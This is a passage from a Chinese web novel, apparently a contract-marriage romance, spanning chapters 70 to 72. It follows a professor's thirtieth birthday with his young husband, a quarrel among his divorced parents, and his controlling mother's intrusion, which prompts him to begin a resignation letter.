没看错的话应该是岑康宁放在冰箱里的囤货。 祁钊什么时候拿出来的? 岑康宁吃了半饱,终于有功夫抬起脑袋看对面的祁钊,结果意外地发现,祁钊今晚的宵夜竟然也是双份。 除了西蓝花蛋糕外。 他竟然给自己煎了两块儿牛排。 这…… “钊哥,晚上吃这么多肉,能消化吗?” 岑康宁忍不住问。 祁钊则慢条斯理地将牛排送进嘴里,随后淡淡看了岑康宁一眼: “能。” 毕竟过一会儿的运动,应该会非常激烈。 作者有话说: 先把小猪喂饱[星星眼] 第70章 岑康宁此时还没意识到问题的严重性。 吃完饭又刷好牙,躺床上玩了会儿手机才忽然意识到,祁教授今天怎么没去加班,而是直接洗澡了? 结婚小半年。 岑康宁自诩也已经有些了解祁钊这个人。 说句工作狂魔半点儿不夸张。 所以今晚回来,岑康宁本来以为他是要钻进书房库库加班一阵子的。 虽然因为自己准备好的生日惊喜而中断。 但岑康宁还是觉得,他会再加班一会儿。 结果吃完饭后直接进浴室了? 这是累了? 岑康宁想了想,来回开车确实挺累。 尤其是回程的路上,因为要开夜车,从头到尾祁钊没让自己碰车。 等于说今天祁教授连轴转,开了至少三小时车。 “那确实是累了吧。” 岑康宁总结完今天所发生的一切,自己也不由得感到一丝疲惫。 于是在听到浴室里水声停下的瞬间,便也合上手机,决定跟祁钊道完晚安后,两人一起休息。 直到浴室门被打开。 只裹了一条浴巾的男人从门内信步走出来。 岑康宁看着他上半身精壮的肌肉线条,下意识咽了口口水的同时,有点儿挪不开视线。 “钊,钊哥,怎么不穿上衣?” 祁钊的头发还没完全干透,晶莹剔透的水珠从发丝的底部滴答落在肩膀上,胸膛上。 他对此浑然不觉,只低头看乖乖躺在床上的岑康宁一眼。 “不用穿。” “嗯?” 岑康宁正懵着,人已经走近。紧接着他眼睁睁看到祁钊拿出遥控器,随后嗡地一声,大床被合并。 岑康宁:“……” 过了一会儿。 岑康宁开始明白为什么祁钊会说“不用穿。” 反正是要脱,穿什么? 再过了一会儿,岑康宁又明白了晚上的宵夜为何如此丰盛,完完全全就是某人吃饱了以后好折腾自己。 最可气的是他也吃了很多。 所以也就挺……能受折腾的。 几重因素下,这晚最后俩人折腾到很晚。快要到天亮的时候,岑康宁已经累得神志不清。 最后岑康宁几乎是被祁钊抱着进了浴室,在浴缸里被洗刷了个干净。 而在彻底入睡以前。 他记得自己被人握住手,签了一份协议。 “你这叫趁人之危,祁教授。” “要拒绝吗?宝宝。” “我考虑考虑。” “宝宝。” 祁钊叫完偏头亲了岑康宁一下。 岑康宁脸腾地红了,斜眼睨他,佯装生气:“你作弊?” “宝宝。” 祁钊又叫了一声,又亲了一下。 这回岑康宁手一抖,没忍住在协议上签了自己的大名。 “别放心太早,我可是能随便毁约的。” 睡前,岑康宁记得自己很凶狠地威胁道。 祁钊把被子给他盖好,又亲了他眼睛一下,随后关闭房间内所有灯,说:“好,答应你。” 岑康宁于是心满意足陷入睡眠。 这一觉岑康宁睡了许久,睡到天昏地暗,连第二天白天下了雨都不知道。 淅淅沥沥的雨声从窗外传来。 已经早上八点,拉着窗帘的卧室内仍旧漆黑一片。 而在这一片漆黑中,熟睡的岑康宁不知道的是,身边的男人毫无困意。 也许是傍晚那一大杯美式咖啡的关系。 也许是最近的生物钟彻底紊乱。 黑暗中。 祁钊半坐着身体,一只手轻轻搭在岑康宁的脑袋上,另一只手,则始终放在自己的三十岁生日礼物上。 是的,就在昨晚,祁钊收到了自己迟来的生日礼物。 从来没有想过。 十岁的时候,二十岁的时候收不到的礼物,会在三十岁这一天忽然地出现。 正如祁钊也从来没想过,当公寓大门在他眼前打开的一瞬间,出现的会是穿着猫咪睡衣的岑康宁。 “生日快乐!” 小猫咪高兴地说。 记忆力极佳的祁钊回忆起那时自己的情绪,竟然空白一片。 只记得最后他盯着岑康宁色泽红润的嘴唇,再也无法控制住自己。 岑康宁的嘴唇是软的。 味道带着一点葡萄味的甜。 接吻的时候很乖,会主动闭上眼睛,脸颊很烫,发出情难自禁的声音。 但这一切并不是全部结局。 后来,祁钊拥有了一块儿蛋糕。 一块儿不需要吃药,就能够庆祝生日的蛋糕。 祁钊从来不觉得自己需要什么蛋糕,正如他从小对自己的生日就不会有什么期待。 无论是提前过的八月。 亦或者无人问津的九月。 生日于他来说,不过是每年一度的“受难日”,他需要被迫咽下难吃的红烧肉,长寿面,吃药防止过敏。 也需要在当天再一次被提醒: “你要好好讨好你爷爷。” 实际上,爷爷何曾需要讨好过? 老爷子一视同仁的对所有人好。 早早立下遗嘱,把遗产全部捐赠希望小学。 祁钊并不是没有尝试沟通过,只是后来发现原来沟通没有效果,成年人只愿意听的进去自己想听的话。 为了节省本就不多的时间,后来就也不再沟通了。 也逐渐忘记生日这回事。 年复一年,平静而又毫无波澜地度过九月十四号这一天,在深夜里加班,迎来又一天。 直到第三十年。 雨天清晨熹微的光线从窗帘的缝隙里钻进房间,落在祁钊手中的生日礼物上—— 那是一个一看就花费了许多功夫才拼好的乐高积木。 背景是星空与行星。 一个小小的宇航员穿着航天服,漂浮在蔚蓝色的行星前。 “钊哥,生日礼物。” “是什么?” “先保密,你来拆。” “好。” 祁钊说着,打开自己的生日礼物。 “当当当!惊喜吧?” 岑康宁很骄傲地笑着,眼睛弯成了月牙般的形状:“我看了你发在期刊上的文章,原来你小时候喜欢天文学,想当宇航员——” 祁钊看着手中的乐高积木说不出话来。 的确,很年幼的时期,他对宇宙十分感兴趣,也曾立志当一名宇航员,登陆属于自己的行星。 后来这个志向被多方否决。 有年龄原因。 未成年人的选择有时根本无法由自我做主。 祁钊当时太小,也过于早地开始选择专业。 也有自己的原因。 后来祁钊意识到,比起成为宇航员,他其实更想成为一名天体物理学家,探索宇宙的成因。 虽说后来仍旧没办法成为一名天体物理学家。 可从未想过的是。 很多年后。 他到底是遇到了属于自己的小行星。 小行星现在睡着了。 等他醒来,他可以再对他讲一次自己在茫茫宇宙中发现他的经历。 — 雨越下越大。 一到九月,A市便自动进入雨季。 尤其是九月中旬,淅淅沥沥的雨像是总也下不完一样,惹人心烦意乱。 城区如是。 非城区就更如是。 周天的早上本该是畅通无堵,可这一回一大早就开始堵,从市区到松山的那条高速路尤其。 刘海俐一大早就包了车出发。 直到中午左右才到。 路上她给儿子发消息,祁钊没回,给儿媳妇发消息,岑康宁也没回。 也许是堵车太久的缘故。 刘海俐心脏突突地跳。 总觉得有什么不太好的事情发生,直到她抵达目的地,眼尖地看到不远处一对儿男女。 “祁未言!你不要脸!” 刘海俐气愤不已地下了车,不顾淋雨,整个人进入战斗状态。 祁未言抱着女儿,本来正在给女儿换鞋,一听到熟悉的声音在身后响起,瞬间带着笑意的脸绷紧。 他下意识地把吓了一大跳的女儿护在身后,面色阴沉盯着正朝自己靠近的刘海俐。 “你来做什么?” 刘海俐充满恨意地看着祁未言:“我不能来吗?” 祁未言深吸一口气,闭上眼:“要我说多少遍,我们已经离婚了。” 刘海俐说:“那又怎么样?离婚多少年,我还是你儿子的亲妈。” 祁未言冷笑:“所以?” “所以我就不能眼睁睁地看着你欺负他!”刘海俐愤怒地提高了音量。 她看了眼祁未言身后怯生生的小女孩儿,又看了一眼小女孩儿身边站着的年轻女人。 前所未有的恨意涌上心头。 “祁未言,你就是这样骗我的?当初我们离婚,你答应我什么了?你答应我这辈子都不会有其他孩子的,我才愿意跟你离婚。结果现在呢?你告诉我现在是怎么一回事?” “我是答应过你,但柔柔她,的确是一个意外……” 一个谁也不想的意外。 毕竟谁能想过已经做了结扎手术,又上了年纪四十多岁的祁未言竟然还能让妻子怀孕。 事情发生的时候也同样打了祁未言一个措手不及。 他没想过有孩子。 跟现在的妻子结婚时也提前做好了婚前协议。 但意外就是意外,妻子说她也没想到,等她意识到去医院查出怀孕的时候,小孩儿已经六个月。 祁未言自己是开医院的,自然知道六个月的胎儿意味着什么。 那已经是一个活生生的小生命了。 他如何放弃得了? 得知消息后祁未言非常煎熬,一度也觉得自己的确对不起祁钊。 可当他把这件事告诉祁钊的时候。 祁钊的反应却很平平。 祁钊甚至对他说:“恭喜。” 于是祁未言一下子就想通了,连祁钊自己都不这么介意,为什么他要如此介意呢? 后来孩子生下来。 是一个小女孩儿,活泼可爱,冰雪聪明。 祁未言为此感到庆幸的同时,也有一丝后怕。 当初,他竟然真的为了那个不具有任何效应的誓言,想要害死自己的女儿。 “都这么多年了,海俐,你就不能放过我吗?” 祁未言回过神来,试图苦口婆心地规劝前妻:“你看看我头上的白头发,再看看你的,都二十多年了,咱们真的要这样过不去一辈子?” 刘海俐咬着后槽牙,颤抖着身体咬得很紧:“不可能。从离婚的时候我就告诉过你,你别想欺负我儿子!” 祁未言倒吸一口凉气:“我什么时候欺负他了?” “你又找了个狐狸精,生了个小狐狸精,不是欺负他是什么?” 刘海俐指着躲在祁未言身后的女人气得口不择言:“你还真信她六个月才发现自己怀孕啊!都是千年的狐狸,玩什么聊斋?!” 女人面色惨白:“未言,我……” 祁柔在妈妈的怀里嚎啕大哭。 哭泣声打断了大人们的对峙,也引来了一直沉默的祁耿。 祁耿住着拐杖出现的时候,祁未言正要跟刘海俐进行新一轮的争执。 直到老爷子出现,厉喝叫停。 “行了,都多大的人了,还在孩子面前出丑?” 祁未言深吸一口气:“行,我知道,爸你别管了。我自己解决。” “你解决个狗屁!” 祁耿脱口而出,拐杖杵着地面:“你怎么解决的?当初离婚你也说你解决,后来什么情况?每一年都要闹到我这里!” “爸,我……” 祁未言被祁耿骂得有些狼狈。 虽然在外面,他是处处受人敬仰的院长,董事长,可说到底在祁耿面前,也不过是一个不争气的儿子罢了。 “先让你老婆孩子走,小孩儿哭成这样,像什么话?!” 祁耿不容置喙地安排着。 祁未言回过神来,看到小女儿哭花的脸心头一痛,果断抱住女儿,把女儿先安顿回车里。 而那头。 刘海俐见了这一幕,自然不会乐意。 她这一趟本就是来找这对儿狗男女算账的,如今才刚见面人就跑了算是怎么回事? 刘海俐立刻就想上前拦住祁未言,可惜却又被祁耿拦住。 对这个前公公刘海俐多少存在点儿畏惧。 她被迫停下脚步。 “海俐,我们聊聊。” 祁耿目光平静地说。 刘海俐站在原地默不作声了一会儿,说:“爸,你要是想教育我,那就不用了。” 毕竟也是五十多岁的人。 刘海俐自觉不需要任何人的教育。 但祁耿今天却并非想要教育她。 “我可教育不了你,你这么大人了,又跟我儿子早就离了婚,我没有任何资格,也没有任何身份去教育你。” 刘海俐没说话,沉默。 祁耿便面容严肃,又接着道:“我今天只想问你一句话。” “问吧,爸。” “这么多年来你不肯放手,到底是真因为你所说的,你爱祁钊,为他考虑,还是单纯只是恨未言?” 刘海俐心头猛跳一下,脖子上的祖母绿翡翠牌亦是一晃。 她扭头: “当然是为了我儿子。” 祁耿脸上的皱褶更深几分,离开前他说:“希望你永远记住这一点。” 刘海俐站在原地不动。 雨水打湿了她的头发,司机下车给她了一把伞的同时,示意祁未言正在不远处等她。 刘海俐接过伞,也终于从祁耿的诘问中回过神来。 她不知道祁耿为什么忽然这么问她,难道是因为老头子年纪大了,正在准备立遗嘱? 这些年来老爷子恐怕也积攒了一些资产。 钱倒不是关键。 一些在位时的人脉,还有话语权才是重点。 忽然在她面前说这些,刘海俐不可能不介意。不过转念又一想,那些东西除了祁钊,老头子还能留给谁? 难不成留给那个连话都说不清的小狐狸精? 想到这一点,刘海俐心中平稳了不少,举着伞目光如炬走向祁未言。 “想不到,这一次你竟然没有趁机逃跑。” 刘海俐看着正抽烟的前夫,冷笑道。 祁未言吐了个烟圈,抬起脸来看前妻:“我有话要问你。” “呵呵,平时不管不问的,怎么今天忽然一个两个都要问我?太阳打西边出来了?” “你自己知道是什么事。” 祁未言按灭了烟,语气生冷地说。 “我不知道。” 刘海俐故意说。 祁未言气得嘴角一抽:“还装?你背着我逼祁钊结婚的事情到底打算什么时候解决?” “解决?为什么要解决?” 刘海俐冷着脸,说:“他现在过得不是很好吗?” “你……” 见祁未言被气得不轻,刘海俐愈发得意:“本来婚姻大事就该是这样,父母之命媒妁之言,你以为祁钊会跟你一样,追求所谓的爱情吗?你当年倒是追求了,后来怎么样,还不是离婚?” “我离婚跟追求爱情没关系!” “又如何?还不是离婚了。” 刘海俐斜眼睨着祁未言:“还有,别以为我真有多在意你那个狐狸精,一个小丫头片子,她能掀起什么风浪?我儿子马上就能评上杰青了,等他上了院士,祁未言,你这个老狐狸也得看他脸色。” 一番话下来。 祁未言被怼地毫无还嘴之力。 不过从二十年前开始,两人的关系就是这样,在吵架上,祁未言从来都吵不过刘海俐。 祁未言也没想过二十年后他就忽然能吵的过了。 但看着此时在自己面前气焰嚣张的前妻,蓦地,他想起某个画面。 “你笑什么?” “没什么,就是忽然觉得你刚刚说的话很有意思,哈哈。” 祁未言没忍住,又笑出声来。 “你到底在笑什么?”刘海俐感到莫名其妙,看着祁未言的笑容心里闪过一丝不妙的预感。 果然下一秒。 祁未言用熟悉地凉薄语气讥讽她: “你觉得人是你介绍的,祁钊就不能追求爱情了吗?” 话音落下的同时。 轰隆—— 天空中闷雷声响起。 噼里啪啦的雨珠铺天盖地砸了下来,伞下的刘海俐面色惨白,控制不住地绷紧了一张脸。 作者有话说: 该来的总会来,不破不立 解决完家里的问题就能真正在一起啦,很快地,大家信我[爆哭]魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 岑康宁一直睡到下午才醒。 醒来的时候天已经放晴。 下过雨的缘故,屋子里又闷又热,窗帘还都拉着,没有丁点儿光线。 岑康宁醒来以后还以为是半夜,结果一看手机,嚯—— 下午两点。 后知后觉地身体酸痛感袭来。 岑康宁想到昨晚发生的一切,觉得自己多半是有点儿疯了。 而当他意识到隔壁床竟然也在赖床没醒的时候,便觉得这个世界可能也疯了。 工作狂魔竟然不工作。 睡懒觉? 虽然今天是周天,但这是太阳打西边儿出来了? 他一眨不眨地盯着祁钊那张近在咫尺的睡颜,短暂的惊诧过后,连他自己都没意识到的,唇角缓缓勾起。 “睡着的样子还挺乖。” 岑康宁小声嘟哝了一句。 祁钊睡得很熟,自然没听见。 而岑康宁意识到这一点后,愈发得寸进尺。 他先是摸到手机,关掉快门声关掉闪光灯,偷偷摸摸地拍下这罕见的一幕。 随后做贼心虚一般地扔开手机,呼吸暂停,紧张地盯着祁钊的反应。 很好,还是没反应。 岑康宁看着祁教授的睡脸想。 没有反应就是最好的反应,岑康宁逐渐放宽了心,也敢呼吸了,心跳逐渐恢复正常。 不过就是一点,睡着的祁教授有点儿帅的过分,让他有些控制不住自己,着了魔一样地使劲儿盯。 其实都是同一张脸。 但不知怎么的,经过了昨天,岑康宁就是觉得祁钊好像比原来帅了一点儿。 具体帅在哪里不知道。 也许就是三十岁了,成年老男人特有的魅力? “噗——” 想到这里,岑康宁又没忍住笑了。 他其实很想保持安静,想让此时此刻的宁静温暖变得稍微长久一些。 奈何,只要一看到祁钊。 他的笑容就完全控制不住。 祁教授好像变成了某种好心情诱捕器,只要这张脸一出现,好心情就自然而然的降临。 不过笑完以后,过了一会儿,岑康宁就想起昨晚这人的某些“恶劣”行径。 比如说,他都不太想亲了。 “周一还要上班,嘴巴肿着怎么上?” 结果祁钊一本正经给他找来嘴唇消肿办法。 让他用凡士林,或者冰敷。 岑康宁气得牙根儿痒,有没有一种可能,他不亲了,就不会肿? 祁钊对此选择性忽视。 只是接吻的时候力度轻了点儿。 又比如,签协议的时候。 岑康宁觉得一周七次实在太多了,改成一周三次最好不过。 祁钊说:“一周七次的意思不是真的一周七次。” 岑康宁疑惑:“那是?” 祁钊:“是想什么时候都可以。” “……” 岑康宁觉得这人真的太过分了,完全是得寸进尺,上房揭瓦的程度。 很想一口咬在他身上解解气。 事实上,岑康宁也的确咬了,到现在某人锁骨上还能看见那个清晰明显的牙印儿。 不过,话又说回来。 祁教授对他好的时候,也是真的很好。 昨晚两人又说起买车的事。 祁钊把他搂在怀里看车,还是看的cyberturck。岑康宁说这车太贵,祁钊说不贵,想要就买给你。 岑康宁说我不想要。 祁钊就问昨天想开车的人是谁? 岑康宁装傻不承认,后来眼看着祁钊要再次下定了才慌忙把人拦住。 “不要,以后我能自己买车。而且你这车太大太惹眼,不适合我。” 祁钊似乎终于意识到什么,问他:“什么车合适你?” 岑康宁哼唧着没说话,一直说不喜欢,不想要。 最后祁钊给他卡里转了一百万,附言:“宝宝迟来的生日礼物。” 岑康宁惊呆了。 一百万说转就转。 祁老板到底有多大气? “你——” “不够再转。” 祁钊说。 岑康宁喉头一哽,虽然打定了主意这一百万肯定要给祁钊回头找机会转回去,却也不得不承认,被人打钱,被人惦记的感觉真的很爽。 他这辈子没收过什么像样的生日礼物。 从来也没刻意告诉过其他人自己生日是哪一天。 在他看来自己的生日没什么好庆祝的,可没想到有一天生日礼物一收就是这么大,顶的上过去22年。 岑康宁感受着这一百万的分量,眯起眼睛,缩在人怀里说累,没力气去洗澡了。 祁钊了然,把他抱去浴缸。 从头发再到脚,洗的干干净净的同时,又用吹风机吹干。 每一根头发丝都是清爽的,连脚趾间的缝隙里都没被放过,被祁钊用专门的毛巾擦得非常干燥。 被伺候地舒舒服服的岑康宁后来评价:“钊哥,你要是没走到科研这条弯路上,现在保准已经是个大师级别育婴师。” “育婴师?” “对啊,你不是说我是宝宝?” “确实。” 祁钊对此表示难得的赞同。 然而今年已经马上23岁的大宝宝在被伺候完洗澡以后准备睡觉了,“育婴师”寓v言的工作却还没停。 临睡前他问岑康宁:“明天起来想吃什么?” 岑康宁想了想:“可不可以吃蛋糕,奶油蛋糕。” 祁钊亲了岑康宁的额头一下,说:“好,明天吃蛋糕。” 岑康宁毫不怀疑自己的愿望会被忽略。因为临睡前,他已经听到有人下单预定蛋糕的声音。 没猜错的话是他最近的新宠,咸奶油配奥利奥夹心。 …… 不行了。 不能再继续想下去。 一想下去就是完全没完没了。 岑康宁自己都没意识到,原来想到祁钊的好,他一下子就能想到那么多那么多的事情。 光是昨晚一晚上就那么多细节。 两人结婚的这小半年,一共得有多少? 岑康宁一时不敢再想,总觉得再想下去会发生什么不太好控制的事件。 比如说,他可能偷偷趁着祁钊睡觉偷亲他什么的。 就像是游戏里的防沉迷机制启动了一般,下意识地,岑康宁觉得自己不能再盯着这张祸国殃民的脸看下去了。 他决定起身去冰箱里查看自己的蛋糕有没有及时配送。 顺带再喝杯咖啡,让差点昏了头的自己清醒清醒。 然而就在他试图从祁钊胳膊上离开的一瞬,原本熟睡的男人瞬间胳膊一弯,轻松将他又重新搂回了怀里。 “……你什么时候醒的?” “很早。” “哦,很早就醒了,结果不睁眼演戏是吧?” 岑康宁心想,还好老子没偷亲! “想再搂着你多躺一会儿。”祁钊嗓音有点儿沙哑,没告诉岑康宁其实自己几乎一晚没睡。 岑康宁却有点儿躺不下去了,因为忽然想到自己的确是没偷亲,但偷拍了。 不过祁钊刚刚没睁眼。 偷拍的事情他应该…… “知道。” 祁钊像是开了读心术一般,意简言赅地说。 岑康宁恼羞成怒:“知道就知道,我是不会删除你的丑照的。” “只是丑照?” “就是丑照,很丑很丑,难以言喻,可以拿出来当威胁资本的那种。” “哦。” 祁钊态度不变:“那留着吧。” “?” “留着明年印在31岁生日横幅上,丑照总比证件照强。” 显然这是不太满意岑康宁那张用证件照P的生日横幅了。其实用证件照的确是多少有点儿抽象,但岑康宁手上也确实没有其他照片。 更何况:“钊哥不觉得那张证件照很帅吗?” “不太觉得。” 祁钊斟酌着语气道。 “为什么?”岑康宁果然不满了。 祁钊只好说了实话:“我没去拍,这张是学校的人用别人的身体P的。” 岑康宁:“……” 难怪他觉得这张证件照有点奇怪!虽然脸还是帅的。 “删掉删掉,我立刻就删掉。” 岑康宁这么说着,拿出了自己偷偷藏在枕头底下的手机。不过真到删除的时候,手指动作却多少有些迟疑。 “怎么了?” “删了之后,我好像就没有你的照片了,睁开眼睛的。” 岑康宁半开玩笑说。 祁钊很认真地说:“好办。” 说罢用手扶住岑康宁的手机,手机轻点相机按键。 意识到他想要做什么后岑康宁有一瞬间的心慌,吓了一跳:“钊哥,咱俩都没穿衣服,你不怕我之后拿着照片威胁你?” “没关系,尽管威胁。” 祁钊说着,拍下了两人的第一张合影。 其实房间里光线很差,窗帘都没拉开,只有床头灯亮着。角度也没找太好,照相的时候岑康宁还没完全准备好看镜头,在看祁钊,只是奈何俩人的长相都太优越了,随便拍拍也非常上相。 反而因为没看镜头的缘故,意外地有一种生活感,就是那种……小情侣被抓拍写真既视感。 意识到这一点的时候岑康宁感到指尖都有点战栗。 拍完一张又拍第二张。 拍第三张的时候,祁钊凑过来亲他。 岑康宁不给亲。 嘴不给亲脸也不给亲。 祁钊问他为什么不给亲,岑康宁不说话。 祁钊当他是害羞,就把手机锁屏了,专心地亲。岑康宁这回没有再抗拒,回应了这个吻。 但是吻完以后他躺在床上翻看着刚刚拍下来的照片,忽然就觉得,俩人这跟恋爱有什么区别? 这样的想法很危险。 岑康宁想。 他不该跟祁钊恋爱的,俩人分明只是签了合同协议的假夫妻。当初不是说好了只是想要编制的关系? 不行,要保持距离。 岑康宁警惕地想。 只是才刚下定决心要跟人保持距离,下一秒,就看到祁钊端着蛋糕跟咖啡走过来。 岑康宁舔舔嘴,目不转睛:“老公,还想吃麦麦脆汁鸡。” — 俩人就这么在公寓里黏黏糊糊厮混了一整个周末。 手机都没玩多久。 第二天系统给岑康宁提示昨天屏幕使用时间不足一小时。 岑康宁看完再厚的脸皮也有点儿没扛住,这得有多黏糊,才能让一个二十岁刚出头的年轻人没时间玩手机? 微信里积攒了一大堆消息。 岑康宁第二天上班才有功夫一一回应。 316宿舍那几个损友在群里使劲儿艾特他,问他大周末的怎么不出现,是不是在跟老公度蜜月? 岑康宁想,要是度蜜月才好呢。 至少度蜜月有假期。 哪像现在,困成狗了还要硬挺着上班。 也就是这个时候,他才后知后觉地,看到了来自于刘海俐的那个未接。 现在回电话过去肯定已经晚了。 岑康宁拿着手机一时不知道怎么办,道歉好像也有点迟,于是掐着中午吃饭的点给祁钊发消息问他怎么办。 祁钊回他说不用管,他来解决。 岑康宁稍微放下心的同时,看着屏幕里那个戛然而止的未接,却多少有点儿担心。 毕竟现在的岑康宁也不像从前对祁钊的家庭一无所知。 虽然不敢说完全了解。 但这几次的接触下来,岑康宁也大概心里有了数。 控制欲过强的母亲,追求真爱另有家庭的父亲,还有心怀大爱无心小家的爷爷。 这样的家庭让岑康宁深刻了解到了,什么叫做家家都有一本难念的经。 岑康宁曾经觉得自己无父无母寄人篱下已经够惨了。 可想到祁钊,一时竟然也分不清俩人谁更惨一些。 祁老生日次日打来的电话,还是打到岑康宁的手机上,刘海俐出于什么目的? 岑康宁想了一会儿,但没想太多。 祁钊说了他来处理,岑康宁就也相信祁钊一定能够处理。 只是他从没想过的是,两通没打通的电话,竟然直接导致刘海俐出现在了P大生科院。 十六楼的教授办公室门前。 刘海俐换了一身比昨天更体面的衣服,珠光宝气提着一保温壶排骨汤,面带笑意,出现在了祁钊面前。 祁钊刚开完组会。 看到刘海俐出现的一瞬以为自己太久没睡出现幻觉。 直到刘海俐身边的孔宇真走过来给他使眼色,他才怔了一下,恍惚般如梦初醒。 咯吱—— 办公室门被关上。 祁钊眼神里逐渐透出冰凉的冷意。 “儿子,最近换季,妈今天给你炖了排骨汤,还包了饺子,来尝尝?” “当初是怎么答应我的?” 刘海俐手中的动作一顿,佯装不觉:“什么答应?” “结婚,你就不再出现在我的任何工作场合里。” 祁钊意简言赅地说。 刘海俐面上笑意不减,笑着:“哦,那件事儿啊,没什么,妈这次来又不是打扰你的,我这不是中午吃饭的时间才过来的吗?” “祁未言又让你受了什么气?” 祁钊问。 提起前夫,刘海俐终于面色一变,语气尖锐:“别跟我提他,我今天过来不是为了那个死人。” “那是为了什么?” “……先来尝尝我的排骨汤。” 祁钊原地不动,冷漠地看着刘海俐。 也许是祁钊的眼神实在太过分,刘海俐终于承受不住;也许是刘海俐本来就不剩多少耐心。 她再也无法维持住慈母的形象,开始了一如既往地观点宣泄。 我是你妈我怎么就不能来看你? 小时候我是怎么一个人把你辛苦拉扯大你长大了竟然不知道感恩这些话被说过千遍万遍。 第一遍听到的时候祁钊心中会有触动,第二遍第三遍甚至第一百遍听到的时候,祁钊的心中只剩下漠然。 已经可以做到完全忽略。 等刘海俐终于宣泄完成以后,再冷静无澜地问出问题: “为什么?” 诡异地沉默了片刻后,刘海俐忽然掏出了自己的手机,自顾自地说:“你小姨又给你介绍了个相亲对象,我觉得条件挺好的,你要不认识一下?” “……” “之前给你找的这个,大师说不错,但我后来又觉得有点儿后悔了。学历跟你不匹配是一方面,太年轻漂亮,心思也不稳定。妈今天早上还在你家垃圾桶里发现他乱花钱买东西……” “你翻垃圾?” 祁钊瞳孔骤然缩紧。 分明是一天中温度最高的正午,他穿着衬衫,后背竟然感到丝丝凉意。 生平第一次对一个人的行为感到荒谬,除了荒谬他再也无法来形容此刻的感觉。 而这个人竟然是生他养他的母亲。 “你不让我进门,妈能怎么办?” 刘海俐的表情里明显有说错话的慌乱,却没有半点儿悔意。 反而在说出实话以后,她干脆不掩饰了,直勾勾地看着祁钊,那双浅褐色的眼睛里几乎看不出半点儿情绪。 “要是不翻垃圾,妈怎么能知道他勾引你?” “……” 后来回想起这一天。 祁钊曾反复反思过自己。 过去的三十年里他到底做错了哪一步,才会导致了这一天。 很快他得到答案: 是每一步。 如果三十年前的九月十四号不曾出生就好了。 他这辈子骨血里都流淌着父亲与母亲的DNA,是无论用多少次CRISPR-Cas9都无法编辑改变的基因序列。 如果二十四年前的离婚法庭不曾因为母亲的泪水而选择就好了。 后来听说也有人可以不选择父亲或是母亲,被转交给福利机构,或者是交给爷爷。 如果…… 这世界上没有如果。 看着母亲比起一年前在斯坦福毫无收敛反而大有胜之的模样,祁钊前所未有清醒地意识到。 过去三十年来他所走出的每一步,做出的每一次妥协,三十年后,终于都化作了一把锋利的匕首,刺向自己,也刺向了他的小行星。 就宛如多年前那个被更改的本科志愿。 …… “我早就知道这种长得好看的人没几个老实的,当初亏我还是信了他小姨的话,觉得这孩子老实。没爸没妈,怪可怜的。” “哪里老实了?” 刘海俐想到垃圾桶里她翻出来的那些“垃圾”,深吸了一口气,狠狠地翻了个白眼: “离,必须离,可怜之人必有可恨之处。坚决不能让这种狐狸精进家门影响你的事业!” 没有得到回应。 倒也不影响刘海俐。 出门前她已经提前想好所有后续计划,离婚的消息放出去以后,手机里多得是媒婆要给祁钊重新介绍优质对象。 祁未言以为这样就能影响到她? 大错特错。 她的儿子优秀英俊又前途大好。 就算离婚也多得是人扑上来。 这回刘海俐已经想明白了。 八字的确重要。 但人老实本分更重要。 眼看着靠八字克死前夫是不太可能了,刘海俐想,这回至少找个旺夫的。 想到这里,她再度拿出手机,想要给祁钊看自己参谋了一上午找到的合适对象。 然而她一转身,却见优秀的儿子不知何时已经坐到自己的座椅上,正目不转睛看着电脑屏幕,手指还在键盘上不断敲击。 噼里啪啦。 键盘发出清脆的声音。 空旷的办公室内,刘海俐愣了一下。看着祁钊忙碌的身影,她不怎么赞同地皱起眉心:“大中午的,你还要忙工作吗?虽然工作重要,但也不能不吃饭吧?” “很快就不会了。” “什么意思?” “没什么意思,在写辞职信。” 作者有话说: 跪着溜走 第72章 一直以来祁钊认为只要满足了母亲的要求就可以节省时间。 毕竟过往的经历告诉他,如果不满足她,她将会持之以恒,坚持不懈地打扰自己,以达到最终目的。 拒绝吃掉的长寿面会一碗接着一碗的出现在他的面前。 油腻恶心的红烧肉每周一次不吃下去,就会日复一日出现。 祁钊曾以为长大便能够逃离,直到十二岁那天被告知入学失败—— 未成年人无法绕过监护人擅自入学。 多么滑稽的理由。 但祁钊在查阅相关法律后表示理解。 后来祁钊又以为成年后经济独立便能够逃离,随后证明果然又错了。 只要他的妈妈想。 他就永远无法逃离。 最出格的一次抵抗大约是在18岁,刚刚成年的那一天。 祁钊那时刚刚拿到本科学位。 手头上也开始拥有一笔资金。 经过多维度评估,他认为自己可以拥有独立的权利,直到警察找上门,用遗憾的语气告诉他母亲在医院。 那一天后祁钊变得消极。 正如他在经过反复论证后终于意识到,无论是什么样的技术手段,都无法实现人类的母体剥离。 从子宫与羊水就开始的DNA侵染。 不是那么简单就能剥离的了的。 更何况,这从来都不是一个简单的技术问题。 也许只有死亡才能结束这一切。 可祁钊并无意死亡。 从出生起,他就对这个世界的秘密充满了求知欲。 让他感到有兴致的,从来都是如何揭开这些秘密背后的基本法则。 不能因为母亲而放弃这一切。 祁钊很清醒地意识到。 他意志的存在不是为了如此简单的消亡。 也不能浪费过多的时间,因为人类的寿命实在短暂,他根本没有多少时间可以浪费。 于是迅速学会妥协。 不能够探索宇宙星空,探索人类也不错。甚至从效率的角度来说,目前的专业让他更加如鱼得水。 毕竟从小就出生在医学世家的祁钊。 比起了解大熊星座位于银河系猎户臂,更早了解的是冠状动脉回旋支分布在左心房侧壁。 不能够在斯坦福继续研究也无所谓。 斯坦福的课题组出了问题。 本来按照他的计划,也是时候独立门户。 只是计划忽然被打乱,会有短时间的混乱期而已。 结婚自然也没什么……以婚姻为代价,换取母亲言之凿凿地答应自己不再出现。 在结婚双方彼此利益都不受损的情况下,签订协议。 祁钊冷静地想,这样的结局,也许是三赢。 可直到此时此刻,耳畔响起刘海俐对岑康宁刺耳的攻击,祁钊才终于意识到自己错的彻底。 有些事开头就错了。 当然会影响结局。 — 岑康宁没能等来祁钊的后续回信。 一整个白天心神不宁。 今天下午跟他搭班的是李明玉,若是放在往常,玉姐肯定能一早发现岑康宁的不对劲。 可惜,李明玉今天也状态不佳。 从进门开始就神情萎靡。 因为平日里很难见到这样的李明玉,岑康宁没忍住在干完活以后关心她。 “你怎么了,玉姐?” 李明玉瘪了瘪嘴,差点没哭出声来:“小岑老师,我失恋!呜呜呜——” 岑康宁很是震惊,连忙给她递去纸巾:“别哭别哭玉姐,你跟我说说,发生什么了?” “呜呜……” 